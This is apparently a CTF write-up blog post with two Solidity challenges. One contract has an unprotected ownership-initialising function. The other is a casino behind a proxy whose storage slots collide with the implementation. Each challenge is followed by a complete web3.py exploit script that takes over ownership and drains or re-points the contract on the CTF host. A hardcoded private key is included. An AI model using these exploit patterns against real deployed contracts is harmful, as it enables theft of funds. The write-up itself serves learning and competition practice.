<-->

https://ctftime.org/event/1858

 

 


Owner powned

chall

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
 
 

contract Challenge1 {

    address public me;
    mapping(address => uint256) balances;

//constructor
    function initWallet() public {
        me = msg.sender;
    }

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }
    
    function withdraw(uint256 amount) public {
        require(amount <= balances[msg.sender]);
        payable(msg.sender).transfer(amount);
        balances[msg.sender] -= amount;
    }
//If there is an emergency, i'm protected \o/
    function migrateTo(address to) public {
        require(msg.sender == me, "Only me can withdraw all the funds");
        payable(to).transfer(address(this).balance);
    }
//getBalance returns the balance of the contract, it is always nice to check my fortune 
    function getBalance() public view returns (uint) 
    {
        return (address(this).balance / 1 ether);
    }

}

 

solve

import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider("http://z.dvc.tf:7545"))

#Check Connection
t=w3.isConnected()
print(t)

# Get private key 
prikey =  '0xa8e07048b0ffaa5daf9ae90e472112398697b1d872ccc4b53e4f8f8bd97d0534'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0x1A422f86D5381E84b01907ddF0E53fa9A6B2a3B3

myAddr = Public_Address
me = "0x284cC70A18899D6abc7AE968900D252812a961c6"
cont = "0x702F454A55322E08ACB0292c066a4bBa7EEa9bD5" # deployed contract's address


def initWallet():
    f = open('con_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions["initWallet"]().buildTransaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def migrateTo():
    f = open('con_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions["migrateTo"](myAddr).buildTransaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

initWallet()
migrateTo()

 


Upgradeable Casino

 

chall

casino.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.6;

contract Casino {
    uint256 maxFreeTokens = 10;

    // Keep track of the tokens spent at each game
    uint64 roulette = 0;
    uint64 slotMachine = 0;
    uint64 blackjack = 0;
    uint64 poker = 0;

    address admin = 0x5aB8C62A01b00f57f6C35c58fFe7B64777749159;
    mapping(address => uint256) balances;
    mapping(address => uint256) lastFreeTokenRequest;


    function changeMaxFreeTokens(uint256 newValue) external
    {
        require(msg.sender == admin, "Only admin can change the number of free tokens you can get");
        maxFreeTokens = newValue;
    }

    function requestFreeTokens(uint256 numberOfTokensRequested) external {
        require(numberOfTokensRequested <= maxFreeTokens, "You can't request that much free tokens");

        require(block.number > lastFreeTokenRequest[msg.sender] + 2,
        "Wait a few more blocks before collecting free tokens");

        lastFreeTokenRequest[msg.sender] = block.number;

        balances[msg.sender] += numberOfTokensRequested;
    }

    function playTokens(uint64 tokensForRoulette, uint64 tokensForSlotMachine, uint64 tokensForBlackjack, uint64 tokensForPoker) external
    {
        require(tokensForRoulette + tokensForSlotMachine + tokensForBlackjack + tokensForPoker <= balances[msg.sender],
        "You don't have enough tokens to play");

        // Increase the analytics variables
        roulette += tokensForRoulette;
        slotMachine += tokensForSlotMachine;
        blackjack += tokensForBlackjack;
        poker += tokensForPoker;

        balances[msg.sender] -= tokensForRoulette + tokensForSlotMachine + tokensForBlackjack + tokensForPoker;

        uint256 earnedTokens = 0;

        // Play the tokens at the chosen games

        // Roulette
        earnedTokens += tokensForRoulette*2*(randMod(3) == 0 ? 1 : 0);
        
        // Slot
        earnedTokens += tokensForSlotMachine * 500 * (randMod(1000) == 0 ? 1 : 0);

        // Blackjack
        earnedTokens += tokensForBlackjack * 15 * (randMod(21) == 0 ? 1 : 0);

        // Poker
        earnedTokens += tokensForPoker * 10000 * (randMod(15000) == 0 ? 1 : 0);

        balances[msg.sender] += earnedTokens;
    }

    // Initializing the state variable
    uint randNonce = 0;
 
    // Defining a function to generate
    // a random number
    function randMod(uint _modulus) internal returns(uint)
    {
        // increase nonce
        randNonce++;
        return uint(keccak256(abi.encodePacked(block.timestamp,msg.sender,randNonce))) % _modulus;
    }

    function getBalance(address user) external view returns(uint256){
        return balances[user];
    }

    function buyTokens() payable external {
        // deposit sizes are restricted to 1 ether
        require(msg.value == 1 ether);

        balances[msg.sender] += 10000 ;
    }

}

 

proxy.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.6;


contract Proxy {
    address _implementation;
    address _owner = 0x5aB8C62A01b00f57f6C35c58fFe7B64777749159; //0x0000000000000000000000000000000000000000;

    /**
     * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
     *
     * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
     * function call, and allows initializing the storage of the proxy like a Solidity constructor.
     */
    constructor(address _logic) payable {
        _implementation = _logic;
    }

    function getOwner() external view returns (address) {
        return _owner;
    }

    /**
     * @dev Delegates the current call to `implementation`.
     *
     * This function does not return to its internal call site, it will return directly to the external caller.
     */
    function _delegate(address implementation) internal virtual {
        assembly {
            // Copy msg.data. We take full control of memory in this inline assembly
            // block because it will not return to Solidity code. We overwrite the
            // Solidity scratch pad at memory position 0.
            calldatacopy(0, 0, calldatasize())

            // Call the implementation.
            // out and outsize are 0 because we don't know the size yet.
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)

            // Copy the returned data.
            returndatacopy(0, 0, returndatasize())

            switch result
            // delegatecall returns 0 on error.
            case 0 {
                revert(0, returndatasize())
            }
            default {
                return(0, returndatasize())
            }
        }
    }

    /**
     * @dev Delegates the current call to the address returned by `_implementation()`.
     *
     * This function does not return to its internal call site, it will return directly to the external caller.
     */
    function _fallback() internal virtual {
        _delegate(_implementation);
    }

    /**
     * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
     * function in the contract matches the call data.
     */
    fallback() external payable virtual {
        _fallback();
    }

    /**
     * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
     * is empty.
     */
    receive() external payable virtual {
        _fallback();
    }


    /**
     * @dev Stores a new address in the EIP1967 implementation slot.
     */
    function _setImplementation(address newImplementation) private {
        _implementation = newImplementation;
    }

    /**
     * @dev Perform implementation upgrade
     *
     * Emits an {Upgraded} event.
     */
    function _upgradeTo(address newImplementation) internal {
        _setImplementation(newImplementation);
    }


    /**
     * @dev Upgrade the implementation of the proxy to `newImplementation`.
     *
     * Calls {_authorizeUpgrade}.
     *
     * Emits an {Upgraded} event.
     */
    function upgradeTo(address newImplementation) external {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _implementation = newImplementation;
    }
}

 

solve

There are conflicts of storage slot.

proxy's implementation = maxFreeTokens

proxy's owner = poker || blackjack || slotMachine || roulette

 

from web3 import Web3
import sha3
import json
from solc import compile_source
import time
w3 = Web3(Web3.HTTPProvider("http://z.dvc.tf:7545"))
#Check Connection
t=w3.isConnected()
print(t)

# Get private key 
prikey =  '0xa8e07048b0ffaa5daf9ae90e472112398697b1d872ccc4b53e4f8f8bd97d0534'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0x1A422f86D5381E84b01907ddF0E53fa9A6B2a3B3

myAddr = Public_Address
cont = "0xc2eD7BC05DB0d4FfF20F41D1cFf09CD7C7cC8EB8" # proxy contract address

from Crypto.Util.number import *
def getRand(time, addr, nonce):
    return bytes_to_long(Web3.soliditySha3(['uint256', 'address','uint256'], [time, addr, nonce]))

def getTime():
    return w3.eth.get_block('latest')['timestamp']



target1 = 0xD1fF9D506104c5Bd6688Ca5DFd3068170025eD36 
target2 = 0x5aB8C62A01b00f57f6C35c58fFe7B64777749159


targets = []
divs = [2, 500, 15, 10000]

for i in range(4):
    targets.append(((target1 >> 64 * (3-i)) & 0xffffffffffffffff) - ((target2 >> 64 * (3-i)) & 0xffffffffffffffff))

for i in range(4):
    print(targets[i])
answers = [0] * 4


results = []


def playTokens(a, b, c, d):
    f = open('con_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions["playTokens"](a, b, c, d).buildTransaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id,
        # "gas": 10**18
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def buyTokens(val):
    f = open('con_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions["buyTokens"]().buildTransaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": val,
        "chainId": w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def requestFreeTokens(val):
    f = open('con_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions["requestFreeTokens"](val).buildTransaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "chainId": w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

print(w3.eth.get_storage_at(cont, 1).hex())

requestFreeTokens(0x73ad18042EC0Bec33ACEB8C070c018b53850c43f) # casino contract address
playTokens(2**64 - (target2 & 0xffffffffffffffff), 0, 0, 0)
playTokens(target1 & 0xffffffffffffffff - 4, 6869315878430010885, 2001131302, 0)
playTokens(1, 0, 0, 0)
print(w3.eth.get_storage_at(cont, 1).hex())

'writeups' 카테고리의 다른 글

angstromctf 2023 - pwn(Sailor's Revenge)  (0) 2023.04.27
NumemCTF 2023  (0) 2023.04.01
SUITF  (0) 2023.03.03
PBCTF 2023 - rev(move VM)  (0) 2023.02.20
Idek CTF 2023 pwn - (baby blockchain 1,2,3)  (0) 2023.02.19

+ Recent posts